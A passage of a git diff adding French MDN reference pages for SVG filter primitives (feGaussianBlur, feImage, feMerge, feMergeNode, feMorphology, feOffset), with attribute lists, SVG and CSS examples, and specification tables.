+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feFuncR")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres" title="en/SVG/Tutorial/Filter_effects">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fegaussianblur/index.html b/files/fr/web/svg/element/fegaussianblur/index.html
new file mode 100644
index 0000000000..d035647b55
--- /dev/null
+++ b/files/fr/web/svg/element/fegaussianblur/index.html
@@ -0,0 +1,141 @@
+---
+title: <feGaussianBlur>
+slug: Web/SVG/Element/feGaussianBlur
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feGaussianBlur
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feGaussianBlur&gt;</code></strong> applique un effet de flou à l'image en entrée. La quantité de flou est contrôlée par {{SVGAttr("stdDeviation")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitives de filtres</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("stdDeviation")}}</li>
+ <li>{{SVGAttr("edgeMode")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEGaussianBlurElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html">&lt;svg width="230" height="120"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;filter id="blurMe"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" /&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="60"  cy="60" r="50" fill="green" /&gt;
+
+  &lt;circle cx="170" cy="60" r="50" fill="green"
+          filter="url(#blurMe)" /&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple",232,124,"/files/4227/feGaussianBlur.png")}}</p>
+
+<h3 id="Exemple_d'ombre_portée">Exemple d'ombre portée</h3>
+
+<h4 id="SVG_2">SVG</h4>
+
+<pre class="brush: html">&lt;svg width="120" height="120"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;filter id="dropShadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="3" /&gt;
+    &lt;feOffset dx="2" dy="4" /&gt;
+    &lt;feMerge&gt;
+        &lt;feMergeNode /&gt;
+        &lt;feMergeNode in="SourceGraphic" /&gt;
+    &lt;/feMerge&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="60"  cy="60" r="50" fill="green"
+          filter="url(#dropShadow)" /&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_d'ombre_portée",125,124,"/files/4229/feGaussianBlur-dropshadow.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feGaussianBlurElement', '&lt;feGaussianBlur&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Ajoute l'attribut {{SVGAttr("edgeMode")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feGaussianBlurElement', '&lt;feGaussianBlur&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feGaussianBlur")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/feimage/index.html b/files/fr/web/svg/element/feimage/index.html
new file mode 100644
index 0000000000..4bcb92a1d5
--- /dev/null
+++ b/files/fr/web/svg/element/feimage/index.html
@@ -0,0 +1,111 @@
+---
+title: <feImage>
+slug: Web/SVG/Element/feImage
+tags:
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feImage
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feImage&gt;</code></strong> extrait les données d'une image d'une source externe et retourne les pixels récupérés en sortie (autrement dit, si l'image récupérée est une image SVG, elle sortira comme raster)</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitives de filtre</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs XLink</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("preserveAspectRatio")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEImageElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="image"&gt;
+      &lt;feImage xlink:href="/files/6457/mdn_logo_only_color.png"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10%" y="10%" width="80%" height="80%"
+      style="filter:url(#image);"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feImageElement", "&lt;feImage&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Ajoute l'attribut {{SVGAttr("href")}} et déprécie {{SVGAttr("xlink:href")}}. Ajoute l'attribut {{SVGAttr("crossorigin")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feImageElement", "&lt;feImage&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feImage")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Les filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/femerge/index.html b/files/fr/web/svg/element/femerge/index.html
new file mode 100644
index 0000000000..7341125bec
--- /dev/null
+++ b/files/fr/web/svg/element/femerge/index.html
@@ -0,0 +1,113 @@
+---
+title: <feMerge>
+slug: Web/SVG/Element/feMerge
+tags:
+  - Element
+  - SVG Filter
+translation_of: Web/SVG/Element/feMerge
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre SVG <strong><code>&lt;feMerge&gt;</code></strong> permet d'empiler les résultats de différentes opérations de filtre les uns par dessus les autres. La liste des images à empiler est définit par une liste d'élément {{ SVGElement("feMergeNode") }} à l'intérieur de la balise. Pour y parvenir, stocker au préalable les résultats des filtres voulus dans un buffer temporaire grâce à l'attribut {{ SVGAttr("result") }}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[7-10]">&lt;svg width="200" height="200"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;filter id="feOffset" x="-40" y="-20" width="100" height="200"&gt;
+    &lt;feOffset in="SourceGraphic" dx="60" dy="60" /&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" result="blur2" /&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode in="blur2" /&gt;
+      &lt;feMergeNode in="SourceGraphic" /&gt;
+    &lt;/feMerge&gt;
+  &lt;/filter&gt;
+
+  &lt;rect x="40" y="40" width="100" height="100"
+    style="stroke: #000000; fill: green; filter: url(#feOffset);" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple', 200, 200)}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitives de filtres</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEMergeElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feMergeElement', '&lt;feMerge&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feMergeElement', '&lt;feMerge&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feMerge")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/femergenode/index.html b/files/fr/web/svg/element/femergenode/index.html
new file mode 100644
index 0000000000..ff3ee3fb54
--- /dev/null
+++ b/files/fr/web/svg/element/femergenode/index.html
@@ -0,0 +1,100 @@
+---
+title: <feMergeNode>
+slug: Web/SVG/Element/feMergeNode
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feMergeNode
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément SVG <code>feMergeNode</code> se place à l'intérieur d'un élément {{ SVGElement("feMerge") }}. Il prend en entrée le résultat d'un filtre afin qu'il soit traité par son parent.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg width="200" height="200"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+    &lt;filter id="feOffset" x="-40" y="-20" width="100" height="200"&gt;
+        &lt;feOffset in="SourceGraphic" dx="60" dy="60" /&gt;
+        &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" result="blur2" /&gt;
+        &lt;feMerge&gt;
+            &lt;feMergeNode in="blur2" /&gt;
+            &lt;feMergeNode in="SourceGraphic" /&gt;
+        &lt;/feMerge&gt;
+    &lt;/filter&gt;
+
+    &lt;rect x="40" y="40" width="100" height="100"
+       style="stroke: #000000; fill: green; filter: url(#feOffset);" /&gt;
+    &lt;rect x="40" y="40" width="100" height="100"
+        style="stroke: #000000; fill: green;" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple', 200, 200)}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="en/SVG/Attribute#Core">Attributs de base</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("in") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEMergeNodeElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#elementdef-femergenode', '&lt;feMergeNode&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feMergeNodeElement', '&lt;feMergeNode&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feMergeNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ SVGElement("filter") }}</li>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("set") }}</li>
+ <li>{{ SVGElement("feMerge") }}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres" title="en/SVG/Tutorial/Filter_effects">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/femorphology/index.html b/files/fr/web/svg/element/femorphology/index.html
new file mode 100644
index 0000000000..2e676cbd67
--- /dev/null
+++ b/files/fr/web/svg/element/femorphology/index.html
@@ -0,0 +1,165 @@
+---
+title: <feMorphology>
+slug: Web/SVG/Element/feMorphology
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feMorphology
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feMorphology&gt;</code></strong> est utilisée pour éroder ou dilater l'image en entrée. Cela permet d'appliquer des effets de mise en gras ou d'amincissement.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("operator")}}</li>
+ <li>{{SVGAttr("radius")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEMorphologyElement")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Sur_du_contenu_SVG">Sur du contenu SVG</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html; highlight[3,6]">&lt;svg xmlns="http://www.w3.org/2000/svg" width="300" height="180"&gt;
+  &lt;filter id="erode"&gt;
+    &lt;feMorphology operator="erode" radius="1"/&gt;
+  &lt;/filter&gt;
+  &lt;filter id="dilate"&gt;
+    &lt;feMorphology operator="dilate" radius="2"/&gt;
+  &lt;/filter&gt;
+  &lt;text y="1em"&gt;Texte normal&lt;/text&gt;
+  &lt;text id="thin" y="2em"&gt;Texte mince&lt;/text&gt;
+  &lt;text id="thick" y="3em"&gt;Text gras&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[7,11]">text {
+  font-family: Arial, Helvetica, sans-serif;
+  font-size: 3em;
+}
+
+#thin {
+  filter: url(#erode);
+}
+
+#thick {
+  filter: url(#dilate);
+}</pre>
+
+<p>{{EmbedLiveSample("Sur_du_contenu_SVG", 340, 180)}}</p>
+
+<h3 id="Sur_du_contenu_HTML">Sur du contenu HTML</h3>
+
+<h4 id="SVG_2">SVG</h4>
+
+<pre class="brush: html; highlight[3,6]">&lt;svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"&gt;
+  &lt;filter id="erode"&gt;
+    &lt;feMorphology operator="erode" radius="1"/&gt;
+  &lt;/filter&gt;
+  &lt;filter id="dilate"&gt;
+    &lt;feMorphology operator="dilate" radius="2"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+
+&lt;p&gt;Texte normal&lt;/p&gt;
+&lt;p id="thin"&gt;Texte mince&lt;/p&gt;
+&lt;p id="thick"&gt;Text gras&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight[8,12]">p {
+  margin: 0;
+  font-family: Arial, Helvetica, sans-serif;
+  font-size: 3em;
+}
+
+#thin {
+  filter: url(#erode);
+}
+
+#thick {
+  filter: url(#dilate);
+}</pre>
+
+<p>{{EmbedLiveSample("Sur_du_contenu_HTML", 340, 180)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feMorphologyElement", "&lt;feMorphology&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feMorphologyElement", "&lt;feMorphology&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feMorphology")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/feoffset/index.html b/files/fr/web/svg/element/feoffset/index.html
new file mode 100644
index 0000000000..75caf5065c
--- /dev/null
+++ b/files/fr/web/svg/element/feoffset/index.html
@@ -0,0 +1,112 @@
+---
+title: <feOffset>
+slug: Web/SVG/Element/feOffset
+tags:
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feOffset
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <strong><code>&lt;feOffset&gt;</code></strong> permet de décaler l'image qu'elle a en entrée selon les attributs {{SVGAttr("dx")}} et {{SVGAttr("dy")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitives de filtres</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("dx")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEOffsetElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;filter id="offset" width="180" height="180"&gt;
+      &lt;feOffset in="SourceGraphic" dx="60" dy="60" /&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/&gt;
+  &lt;rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feOffsetElement', '&lt;feOffset&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feOffsetElement', '&lt;feOffset&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feOffset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
